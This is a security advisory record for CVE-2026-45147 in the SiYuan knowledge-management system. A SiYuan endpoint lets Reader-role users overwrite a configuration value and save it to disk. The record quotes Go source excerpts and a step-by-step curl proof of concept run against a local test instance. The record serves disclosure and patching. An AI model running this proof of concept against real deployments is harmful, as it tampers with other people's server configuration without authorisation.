{"id":"CVE-2026-45147","aliases":["CVE-2026-45147","GHSA-6r88-8v7q-q4p2","GO-2026-5188"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan: Broken access control in SiYuan `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk","summary":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json. This vulnerability is fixed in 3.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json. This vulnerability is fixed in 3.7.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace — can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`.\n\nSame root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`).\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:170` — only `CheckAuth`:\n\n```go\nginServer.Handle(\"POST\", \"/api/tag/getTag\", model.CheckAuth, getTag)\n// Compare the sibling registrations on the next two lines, which DO gate writes:\nginServer.Handle(\"POST\", \"/api/tag/renameTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)\nginServer.Handle(\"POST\", \"/api/tag/removeTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)\n```\n\n`kernel/api/tag.go:28-64` — handler. The `if nil != arg[\"sort\"]` block writes config without any role check:\n\n```go\nfunc getTag(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n    arg, ok := util.JsonArg(c, ret)\n    if !ok { return }\n    ...\n    if nil != arg[\"sort\"] {                    // ← unauthorized write path\n        sortVal, ok := util.ParseJsonArg[float64](\"sort\", arg, ret, true, false)\n        if !ok { return }\n        model.Conf.Tag.Sort = int(sortVal)\n        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json\n    }\n    ...\n}\n```\n\n`Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).\n\n### PoC\n\nSame Docker setup as Advisory 1.\n\n```bash\n# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n  -H 'Content-Type: application/json' -d '{\"authCode\":\"audittest\"}' >/dev/null\n\n# 2. Read current Conf.Tag.Sort.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H 'Content-Type: application/json' -d '{}' \\\n  | python3 -c \"import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])\"\n# → Conf.Tag.Sort BEFORE = 4\n\n# 3. Mutate via the read-style endpoint.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \\\n  -H 'Content-Type: application/json' -d '{\"sort\": 7}'\n# → {\"code\":0,\"msg\":\"\",\"data\":[]}\n\n# 4. Confirm in-memory.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H 'Content-Type: application/json' -d '{}' \\\n  | python3 -c \"import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])\"\n# → Conf.Tag.Sort AFTER = 7\n\n# 5. Confirm persisted to disk inside the container.\ndocker exec siyuan-audit grep -o 'sort\":[0-9]*' /siyuan/workspace/conf/conf.json\n# → sort\":7\n```\n\nThe vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`.\n\n### Impact\n\nLimited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:\n\n- It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually.\n- `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.\n- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk in github.com/siyuan-note/siyuan/kernel","format":"markdown","source":"go"}],"published":"2026-05-13T15:32:35.000Z","modified":"2026-06-25T19:56:14.783Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":4.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":4.3,"rating":"MEDIUM"}],"cwes":["CWE-285","CWE-862"],"affected":[{"ranges":[{"version":"< 3.7.0","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260512140701-d7b77d945e0d"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260512140701-d7b77d945e0d"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45147","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-14T19:36:33.922Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45147","url":"https://www.cve.org/CVERecord?id=CVE-2026-45147","licence":"CVE Terms of Use","modified":"2026-05-14T19:36:38.687Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6r88-8v7q-q4p2","url":"https://github.com/advisories/GHSA-6r88-8v7q-q4p2","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:14.783Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5188","url":"https://pkg.go.dev/vuln/GO-2026-5188","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:12.721Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45147","licence":"Public domain","modified":"2026-06-17T10:51:42.250Z"}],"updatedAt":"2026-11-25T22:59:21.751Z","epss":{"score":0.00183,"percentile":0.08229,"date":"2026-12-02T12:00:21.000Z"}}